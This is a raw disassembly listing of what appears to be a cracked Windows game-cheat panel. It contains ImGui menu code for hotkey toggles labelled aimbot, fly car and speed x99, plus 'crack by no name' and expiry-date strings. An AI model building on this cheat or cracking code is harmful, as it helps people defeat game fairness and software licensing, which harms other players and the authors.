movaps xmm0, xmmword [rbp + 0x150]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x150], xmm0
mov ecx, dword [0x140146148]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x1400581c1
cmp byte [0x14014619a], r12b
mov rcx, r13
sete al
mov byte [0x14014619a], al
test al, al
je 0x14005814f
call fcn.1400c5c20
lea rcx, [rbp + 0x108]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400613a0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x100], rax
test rax, rax
je 0x14005c37c
cmp dword [rbp + 0x108], r12d
je 0x14005c3d7
movaps xmm0, xmmword [rbp + 0x100]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x100], xmm0
jmp 0x1400581c1
call fcn.1400c5c20
lea rcx, [rbp + 0xe8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x1400613a0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xe0], rax
test rax, rax
je 0x14005c38f
cmp dword [rbp + 0xe8], r12d
je 0x14005c3d7
movaps xmm0, xmmword [rbp + 0xe0]
lea rcx, [rsp + 0x60]
movdqa xmmword [rsp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14005c3d7
xorps xmm0, xmm0
movdqa xmmword [rbp + 0xe0], xmm0
mov rbx, qword [0x140146120]
test rbx, rbx
je 0x1400581db
mov rbx, qword [rbx + 0xa0]
test rbx, rbx
jne 0x1400581f8
jmp 0x1400581de
mov rbx, r12
mov r8d, 0x250
lea rdx, str.C:Usersce_pcDesktopFREE_PANEL_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], r12
jne 0x140058203
call fcn.1400490d0
call fcn.14004a7c0
call fcn.140009120
lea rdx, [0x140167680]
lea rcx, [rbp + 0x420]
call fcn.14005e640
lea rdx, [0x1401676c0]
lea rcx, [rbp + 0x400]
call fcn.14005e640
mov rdi, qword [0x140167728]
xorps xmm0, xmm0
sub rdi, qword [0x140167720]
sar rdi, 5
mov qword [rbp - 0x58], r12
movdqu xmmword [rbp - 0x68], xmm0
test rdi, rdi
je 0x1400582fc
cmp rdi, rsi
ja 0x14005c412
shl rdi, 5
test rdi, rdi
jne 0x140058271
mov rbx, r12
jmp 0x1400582ae
cmp rdi, 0x1000
jb 0x1400582a3
lea rcx, [rdi + 0x27]
cmp rcx, rdi
jbe 0x14005c41e
call fcn.1400c5c20
test rax, rax
je 0x14005c3a9
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x1400582ae
mov rcx, rdi
call fcn.1400c5c20
mov rbx, rax
mov rsi, qword [0x140167728]
lea rcx, [rdi + rbx]
mov rdi, qword [0x140167720]
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x60], rbx
mov qword [rbp - 0x58], rcx
cmp rdi, rsi
je 0x1400582e9
mov rdx, rdi
mov rcx, rbx
call fcn.14005e640
add rbx, 0x20
add rdi, 0x20
cmp rdi, rsi
jne 0x1400582d1
lea r8, [rbp - 0x68]
mov rdx, rbx
mov rcx, rbx
call fcn.140060310
mov qword [rbp - 0x60], rbx
lea rdx, [0x140167738]
lea rcx, [rbp + 0x1d0]
call fcn.14005e640
cmp qword [rbp + 0x1e8], 0xf
lea rcx, [rbp + 0x1d0]
cmova rcx, qword [rbp + 0x1d0]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x210], rcx
lea rcx, [rbp + 0x210]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str._d__m__Y____H:_M
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp + 0xb10]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
mov rcx, qword [0x140146120]
movaps xmm0, xmm9
movss xmm1, dword [0x1400e8550]
xor edx, edx
unpcklps xmm0, xmm9
mov r8d, 0x20ab
movsd qword [rcx + 0x47b8], xmm0
movaps xmm0, xmm9
unpcklps xmm0, xmm9
movsd qword [rcx + 0x47c0], xmm0
movss xmm0, dword [0x1400e8540]
mov dword [rcx + 0x47ac], r13d
or dword [rcx + 0x47a8], 3
unpcklps xmm0, xmm1
movsd qword [rcx + 0x47c8], xmm0
mov dword [rcx + 0x47b0], r13d
lea rcx, str.General
call fcn.14000f130
mov rcx, qword [0x140146120]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
mov qword [0x14016bbd0], rax
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [rbp + 0x900]
movsd xmm0, qword [rax + 0x18]
mov rbx, qword [rax + 0x290]
movsd qword [rsp + 0x70], xmm0
movdqa xmm0, xmmword [0x1400e8820]
movups xmmword [rbp + 0x900], xmm0
call fcn.1400043c0
movss xmm0, dword [rsp + 0x70]
lea r8, [rbp - 0x20]
movss xmm1, dword [rsp + 0x74]
lea rdx, [rsp + 0x70]
addss xmm0, dword [0x140144b00]
addss xmm1, dword [0x140144b04]
movss xmm6, dword [0x1400e8468]
mov r9d, eax
mov dword [rsp + 0x28], r12d
mov rcx, rbx
movss dword [rsp + 0x20], xmm6
movss dword [rbp - 0x20], xmm0
movss dword [rbp - 0x1c], xmm1
call fcn.14002b830
cmp dword [0x140167838], r13d
jne 0x14005af8b
movss xmm3, dword [rsp + 0x70]
lea rcx, [0x140144b28]
movss xmm2, dword [rsp + 0x74]
movaps xmm0, xmm3
movaps xmm1, xmm2
addss xmm0, xmm7
addss xmm1, dword [0x1400e84fc]
addss xmm3, xmm9
addss xmm2, xmm11
movss dword [rbp - 0x18], xmm0
movss dword [rbp - 0x14], xmm1
movss dword [rbp - 0x10], xmm3
movss dword [rbp - 0xc], xmm2
call fcn.1400043c0
mov r9d, eax
mov dword [rsp + 0x28], r12d
lea rdx, [rbp - 0x10]
movss dword [rsp + 0x20], xmm9
lea r8, [rbp - 0x18]
mov rcx, rbx
call fcn.14002b830
movdqa xmm0, xmmword [0x1400e8af0]
lea rcx, [rbp + 0x8d0]
movups xmmword [rbp + 0x8d0], xmm0
call fcn.1400043c0
movss xmm3, dword [rsp + 0x70]
lea r9, [rbp + 8]
movss xmm2, dword [rsp + 0x74]
lea r8, [rbp + 0x10]
mov rdx, qword [0x140146240]
movaps xmm0, xmm3
addss xmm3, dword [0x1400e84a0]
mov dword [rsp + 0x30], eax
addss xmm0, xmm15
movaps xmm1, xmm2
mov dword [rbp - 8], 0x3f800000
addss xmm1, dword [0x1400e84e0]
addss xmm2, dword [0x1400e8484]
lea rax, [rbp - 8]
movss dword [rbp + 0x10], xmm3
mov qword [rsp + 0x28], rax
mov rcx, rbx
lea rax, [rbp]
movss dword [rbp + 8], xmm0
movss dword [rbp + 0xc], xmm1
movss dword [rbp + 0x14], xmm2
mov dword [rbp - 4], 0x3f800000
mov qword [rbp], r12
mov qword [rsp + 0x20], rax
call fcn.14002be10
mov rcx, qword [0x140146120]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
lea rcx, [rbp + 0x918]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, dword [0x1400e8538]
addss xmm1, dword [0x1400e8484]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
xorps xmm0, xmm0
mov byte [rax + 0x139], r13b
movups xmmword [rbp + 0x918], xmm0
mov qword [rbp + 0x18], 0x41c80000
call fcn.1400043c0
xorps xmm0, xmm0
lea rcx, [rbp + 0x848]
movups xmmword [rbp + 0x848], xmm0
mov r9d, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movss xmm0, dword [0x140167538]
ucomiss xmm0, xmm9
jp 0x140058660
jne 0x140058660
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov eax, eax
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
movss dword [0x140167538], xmm0
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movss xmm0, dword [0x140167538]
xorps xmm1, xmm1
mov eax, eax
addss xmm0, xmm15
cvtsi2ss xmm1, rax
comiss xmm1, xmm0
jbe 0x14005871a
cmp byte [reloc.WS2_32.dll_accept], r12b
movss xmm1, dword [0x14014729c]
je 0x1400586d6
comiss xmm12, xmm1
jbe 0x1400586c7
call fcn.1400087a0
movss xmm1, dword [0x14014729c]
movaps xmm0, xmm13
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
addss xmm1, xmm0
movss dword [0x14014729c], xmm1
comiss xmm1, xmm12
jb 0x140058713
mov byte [reloc.WS2_32.dll_accept], r12b
jmp 0x140058713
comiss xmm1, xmm9
jbe 0x140058706
call fcn.1400087a0
movss xmm1, dword [0x14014729c]
movaps xmm0, xmm13
divss xmm0, dword [rax + 0xd8]
mulss xmm0, xmm11
subss xmm1, xmm0
movss dword [0x14014729c], xmm1
comiss xmm9, xmm1
jb 0x140058713
mov byte [reloc.WS2_32.dll_accept], r13b
mov dword [0x140167538], r12d
mov rbx, qword [0x140146120]
mov rax, qword [rbx + 0x3ed0]
movsd xmm0, qword [rax + 0x18]
mov byte [rax + 0xb0], r13b
mov rax, qword [rbx + 0x3ed0]
movsd qword [rbp + 0x20], xmm0
mov rdi, qword [rax + 0x290]
cmp dword [rbx + 0x48a0], r12d
jg 0x14005876a
mov r8d, 0x6fc
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x48a8]
lea r8, str.Foreground
mov rdx, r13
mov rcx, qword [rax]
call fcn.1400087e0
movss xmm6, dword [0x14014729c]
lea rcx, [rbp + 0x1b0]
movss dword [rbp + 0x1bc], xmm6
mov dword [rbp + 0x1b0], 0x437f0000
mov dword [rbp + 0x1b4], 0x437f0000
mov dword [rbp + 0x1b8], 0x437f0000
call fcn.1400043c0
movss xmm8, dword [rbp + 0x20]
mov esi, eax
movss xmm7, dword [rbp + 0x24]
movaps xmm0, xmm8
mov rbx, qword [0x14016cfe8]
movaps xmm1, xmm7
addss xmm0, dword [0x1400e84d8]
addss xmm1, dword [0x1400e84a4]
movss dword [rbp + 0x28], xmm0
movss dword [rbp + 0x2c], xmm1
test eax, 0xff000000
je 0x140058899
test rbx, rbx
jne 0x14005880a
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x140058835
mov r8d, 0x64d
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
lea rax, [0x1400e6cb3]
mov byte [rsp + 0x48], r12b
movss xmm2, dword [0x1400e84e8]
lea r9, [rbp + 0x28]
movss dword [rsp + 0x40], xmm9
mov rdx, rdi
mov qword [rsp + 0x38], rax
mov rcx, rbx
lea rax, str.____no_name
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034f70
mov rbx, qword [0x14016cfe8]
movss xmm6, dword [0x14014729c]
lea rcx, [rbp + 0x1c0]
movss dword [rbp + 0x1cc], xmm6
mov dword [rbp + 0x1c0], 0x437f0000
mov dword [rbp + 0x1c4], 0x437f0000
mov dword [rbp + 0x1c8], 0x437f0000
call fcn.1400043c0
movaps xmm0, xmm7
mov esi, eax
addss xmm0, dword [0x1400e854c]
addss xmm8, dword [0x1400e84d0]
movss dword [rbp + 0x34], xmm0
movss dword [rbp + 0x30], xmm8
test eax, 0xff000000
je 0x14005898f
test rbx, rbx
jne 0x140058904
mov rax, qword [rdi + 0x38]
mov rbx, qword [rax + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x14005892f
mov r8d, 0x64d
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400e7f83]
movss dword [rsp + 0x40], xmm9
lea r9, [rbp + 0x30]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm14
lea rax, str.crack_by_no_name
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034f70
mov rbx, qword [0x14016cfe8]
movss xmm6, dword [0x14014729c]
lea rcx, [rbp + 0x160]
movss dword [rbp + 0x16c], xmm6
mov dword [rbp + 0x160], 0x437f0000
mov dword [rbp + 0x164], 0x437f0000
mov dword [rbp + 0x168], 0x437f0000
call fcn.1400043c0
movss dword [rbp + 0x38], xmm8
mov esi, eax
addss xmm7, dword [0x1400e8548]
movss dword [rbp + 0x3c], xmm7
test eax, 0xff000000
je 0x140058a6a
test rbx, rbx
jne 0x1400589ee
mov rcx, qword [rdi + 0x38]
mov rbx, qword [rcx + 8]
mov rcx, qword [rbx + 0x40]
mov rax, qword [rdi + 0x98]
cmp qword [rcx + 8], rax
je 0x140058a19
mov r8d, 0x64d
lea rdx, str.C:Usersce_pcDesktopFREE_PANELimgui_draw.cpp
lea rcx, str.font__ContainerAtlas__TexID___CmdHeader.TextureId
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
movups xmm0, xmmword [rdi + 0x88]
mov byte [rsp + 0x48], r12b
lea rax, [0x1400e7fa8]
movss dword [rsp + 0x40], xmm9
lea r9, [rbp + 0x38]
mov qword [rsp + 0x38], rax
movaps xmm2, xmm14
lea rax, str.EXPIRY_DATE_:_2024_12_11___00:30
mov rdx, rdi
mov qword [rsp + 0x30], rax
mov rcx, rbx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], esi
movups xmmword [rsp + 0x60], xmm0
call fcn.140034f70
mov rcx, qword [0x140146120]
lea rdx, str.Tabs
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm14
addss xmm1, dword [0x1400e8508]
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x40], 0x42700000
mov dword [rbp + 0x44], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x40]
lea rcx, str.Tabs
call fcn.14000bfd0
xor r8d, r8d
lea rcx, [0x1400e7fac]
call fcn.14003b690
mov r8d, 2
lea rcx, [0x1400e7fb0]
call fcn.14003b690
mov r8d, 3
lea rcx, [0x1400db760]
call fcn.14003b690
mov r8d, r13d
lea rcx, [0x1400e7fb4]
call fcn.14003b690
mov r8d, 4
lea rcx, [0x1400db764]
call fcn.14003b690
call fcn.14000c330
mov eax, dword [0x14016753c]
test eax, eax
jne 0x1400598f5
mov rcx, qword [0x140146120]
lea rdx, str.General
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rax, qword [rcx + 0x3ed0]
movss xmm0, dword [rax + 0x18]
subss xmm0, dword [rax + 0x7c]
movss xmm1, dword [rax + 0x1c]
subss xmm1, dword [rax + 0x80]
addss xmm0, xmm10
addss xmm1, xmm10
unpcklps xmm0, xmm1
movsd qword [rax + 0xf8], xmm0
mov byte [rax + 0x139], r13b
mov dword [rbp + 0x48], 0x43960000
mov dword [rbp + 0x4c], 0x44048000
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], r13b
mov rcx, qword [rcx + 0x3ed0]
call fcn.140007d20
mov edx, eax
mov dword [rsp + 0x20], r12d
xor r9d, r9d
lea r8, [rbp + 0x48]
lea rcx, str.General
call fcn.14000bfd0
lea r9, [0x140146270]
lea r8, [0x1400e7fb8]
lea rdx, [0x140146198]
lea rcx, str.AIMBOT_DRAG
call fcn.14003a150
mov byte [0x1401461ea], al
test al, al
je 0x140058c5d
cmp byte [0x140146198], r12b
je 0x140058c5d
lea rcx, [rbp + 0x440]
call fcn.14005fa50
lea rcx, [rbp + 0x440]
call fcn.14004c3a0
cmp dword [rbp + 0x448], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140058ca9
cmp byte [rcx + 0x48f2], r12b
jne 0x140058ca9
test byte [rcx + 0x4770], 4
jne 0x140058d89
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140058d89
test eax, eax
jne 0x140058d71
jmp 0x140058d89
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140058d89
cmp qword [rcx + 0x3ed8], r9
je 0x140058cc9
test al, al
jns 0x140058d89
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140058cee
cmp eax, dword [rcx + 0x476c]
je 0x140058cee
cmp byte [rcx + 0x3f3d], r12b
jne 0x140058cee
cmp eax, dword [r9 + 0x74]
jne 0x140058d89
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140058d53
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140058d53
cmp byte [rdx + 0xaf], r12b
je 0x140058d53
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140058d53
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140058d2d
bt r8d, 0x1a
jae 0x140058d53
cmp qword [rax + 0x370], rdx
je 0x140058d53
cmp rax, rdx
je 0x140058d53
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058d36
test dword [rcx + 0x4770], 0x100
je 0x140058d89
test byte [rcx + 0x4770], 4
jne 0x140058d89
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140058d71
cmp byte [r9 + 0xb0], r12b
jne 0x140058d89
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
call fcn.140017740
lea r9, [0x140146190]
lea r8, str.Apply_InGame
lea rdx, [0x14014619d]
lea rcx, str.OBB__EXTERNAL_
call fcn.14003a150
mov byte [0x140146137], al
test al, al
je 0x140058de2
cmp byte [0x14014619d], r12b
je 0x140058de2
lea rcx, [rbp + 0x460]
call fcn.14005fac0
lea rcx, [rbp + 0x460]
call fcn.14004c3a0
cmp dword [rbp + 0x468], r12d
jne 0x14005c3a2
mov ecx, dword [0x140146190]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x140058e1b
lea rdx, [0x140051fa0]
lea rcx, [rbp + 0x940]
call fcn.14005f9e0
mov rcx, rax
call fcn.14004c3a0
cmp dword [rbp + 0x948], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140058e67
cmp byte [rcx + 0x48f2], r12b
jne 0x140058e67
test byte [rcx + 0x4770], 4
jne 0x140058f47
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140058f47
test eax, eax
jne 0x140058f2f
jmp 0x140058f47
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140058f47
cmp qword [rcx + 0x3ed8], r9
je 0x140058e87
test al, al
jns 0x140058f47
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x140058eac
cmp eax, dword [rcx + 0x476c]
je 0x140058eac
cmp byte [rcx + 0x3f3d], r12b
jne 0x140058eac
cmp eax, dword [r9 + 0x74]
jne 0x140058f47
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140058f11
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140058f11
cmp byte [rdx + 0xaf], r12b
je 0x140058f11
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140058f11
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x140058eeb
bt r8d, 0x1a
jae 0x140058f11
cmp qword [rax + 0x370], rdx
je 0x140058f11
cmp rax, rdx
je 0x140058f11
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140058ef4
test dword [rcx + 0x4770], 0x100
je 0x140058f47
test byte [rcx + 0x4770], 4
jne 0x140058f47
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140058f2f
cmp byte [r9 + 0xb0], r12b
jne 0x140058f47
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
call fcn.140017740
lea r9, [0x14014623c]
lea r8, str.Apply_in_car
lea rdx, [0x14014614f]
lea rcx, str.FLY_CAR__IN_CAR_
call fcn.14003a150
mov byte [0x14014611a], al
test al, al
je 0x140058fc1
cmp byte [0x14014614f], r12b
je 0x140058f9c
lea rcx, [rbp + 0x470]
call fcn.14005fb30
lea rcx, [rbp + 0x470]
call fcn.14004c3a0
cmp dword [rbp + 0x478], r12d
jmp 0x140058fbb
lea rcx, [rbp + 0x480]
call fcn.14005fb30
lea rcx, [rbp + 0x480]
call fcn.14004c3a0
cmp dword [rbp + 0x488], r12d
jne 0x14005c3a2
mov ecx, dword [0x14014623c]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14005902c
cmp byte [0x14014614f], r12b
sete al
mov byte [0x14014614f], al
test al, al
je 0x140059007
lea rcx, [rbp + 0x490]
call fcn.14005fb30
lea rcx, [rbp + 0x490]
call fcn.14004c3a0
cmp dword [rbp + 0x498], r12d
jmp 0x140059026
lea rcx, [rbp + 0x4a0]
call fcn.14005fb30
lea rcx, [rbp + 0x4a0]
call fcn.14004c3a0
cmp dword [rbp + 0x4a8], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059078
cmp byte [rcx + 0x48f2], r12b
jne 0x140059078
test byte [rcx + 0x4770], 4
jne 0x140059158
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059158
test eax, eax
jne 0x140059140
jmp 0x140059158
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059158
cmp qword [rcx + 0x3ed8], r9
je 0x140059098
test al, al
jns 0x140059158
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x1400590bd
cmp eax, dword [rcx + 0x476c]
je 0x1400590bd
cmp byte [rcx + 0x3f3d], r12b
jne 0x1400590bd
cmp eax, dword [r9 + 0x74]
jne 0x140059158
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059122
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059122
cmp byte [rdx + 0xaf], r12b
je 0x140059122
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059122
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x1400590fc
bt r8d, 0x1a
jae 0x140059122
cmp qword [rax + 0x370], rdx
je 0x140059122
cmp rax, rdx
je 0x140059122
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059105
test dword [rcx + 0x4770], 0x100
je 0x140059158
test byte [rcx + 0x4770], 4
jne 0x140059158
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059140
cmp byte [r9 + 0xb0], r12b
jne 0x140059158
xor ecx, ecx
call fcn.1400175a0
lea rcx, str.Apply_in_car
call fcn.140038320
call fcn.140017740
lea r9, [0x1401461e0]
lea r8, [0x1400e7fe0]
lea rdx, [0x1401461e4]
lea rcx, str.CAMERA_LEFT__ON__OF_
call fcn.14003a150
mov byte [0x1401461e8], al
test al, al
je 0x1400591d2
cmp byte [0x1401461e4], r12b
je 0x1400591ad
lea rcx, [rbp + 0x4b0]
call fcn.14005fba0
lea rcx, [rbp + 0x4b0]
call fcn.14004c3a0
cmp dword [rbp + 0x4b8], r12d
jmp 0x1400591cc
lea rcx, [rbp + 0x4c0]
call fcn.14005fba0
lea rcx, [rbp + 0x4c0]
call fcn.14004c3a0
cmp dword [rbp + 0x4c8], r12d
jne 0x14005c3a2
mov ecx, dword [0x1401461e0]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14005923d
cmp byte [0x1401461e4], r12b
sete al
mov byte [0x1401461e4], al
test al, al
je 0x140059218
lea rcx, [rbp + 0x4d0]
call fcn.14005fba0
lea rcx, [rbp + 0x4d0]
call fcn.14004c3a0
cmp dword [rbp + 0x4d8], r12d
jmp 0x140059237
lea rcx, [rbp + 0x4e0]
call fcn.14005fba0
lea rcx, [rbp + 0x4e0]
call fcn.14004c3a0
cmp dword [rbp + 0x4e8], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059289
cmp byte [rcx + 0x48f2], r12b
jne 0x140059289
test byte [rcx + 0x4770], 4
jne 0x140059369
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059369
test eax, eax
jne 0x140059351
jmp 0x140059369
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059369
cmp qword [rcx + 0x3ed8], r9
je 0x1400592a9
test al, al
jns 0x140059369
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x1400592ce
cmp eax, dword [rcx + 0x476c]
je 0x1400592ce
cmp byte [rcx + 0x3f3d], r12b
jne 0x1400592ce
cmp eax, dword [r9 + 0x74]
jne 0x140059369
mov rdx, qword [rcx + 0x48b0]
test rdx, rdx
je 0x140059333
mov rdx, qword [rdx + 0x370]
test rdx, rdx
je 0x140059333
cmp byte [rdx + 0xaf], r12b
je 0x140059333
mov rax, qword [r9 + 0x370]
cmp rdx, rax
je 0x140059333
mov r8d, dword [rdx + 0xc]
bt r8d, 0x1b
jb 0x14005930d
bt r8d, 0x1a
jae 0x140059333
cmp qword [rax + 0x370], rdx
je 0x140059333
cmp rax, rdx
je 0x140059333
mov rax, qword [rax + 0x368]
test rax, rax
jne 0x140059316
test dword [rcx + 0x4770], 0x100
je 0x140059369
test byte [rcx + 0x4770], 4
jne 0x140059369
mov eax, dword [r9 + 0x74]
cmp dword [rcx + 0x476c], eax
jne 0x140059351
cmp byte [r9 + 0xb0], r12b
jne 0x140059369
xor ecx, ecx
call fcn.1400175a0
lea rcx, [0x1400e7fe0]
call fcn.140038320
call fcn.140017740
lea r9, [0x1401461ec]
lea r8, [0x1400e7fe0]
lea rdx, [0x140146197]
lea rcx, str.SPED_X99__ON_
call fcn.14003a150
mov byte [0x14014611e], al
test al, al
je 0x1400593c2
cmp byte [0x140146197], r12b
je 0x1400593c2
lea rcx, [rbp + 0x4f0]
call fcn.14005fc10
lea rcx, [rbp + 0x4f0]
call fcn.14004c3a0
cmp dword [rbp + 0x4f8], r12d
jne 0x14005c3a2
mov ecx, dword [0x1401461ec]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14005940c
cmp byte [0x140146197], r12b
sete al
mov byte [0x140146197], al
test al, al
je 0x14005940c
lea rcx, [rbp + 0x500]
call fcn.14005fc10
lea rcx, [rbp + 0x500]
call fcn.14004c3a0
cmp dword [rbp + 0x508], r12d
jne 0x14005c3a2
mov rcx, qword [0x140146120]
mov r9, qword [rcx + 0x3ed0]
cmp byte [rcx + 0x48f3], r12b
je 0x140059458
cmp byte [rcx + 0x48f2], r12b
jne 0x140059458
test byte [rcx + 0x4770], 4
jne 0x140059569
mov eax, dword [rcx + 0x48b8]
cmp eax, dword [rcx + 0x476c]
jne 0x140059569
test eax, eax
jne 0x140059520
jmp 0x140059569
mov eax, dword [rcx + 0x4774]
test r13b, al
je 0x140059569
cmp qword [rcx + 0x3ed8], r9
je 0x140059478
test al, al
jns 0x140059569
mov eax, dword [rcx + 0x3f30]
test eax, eax
je 0x14005949d
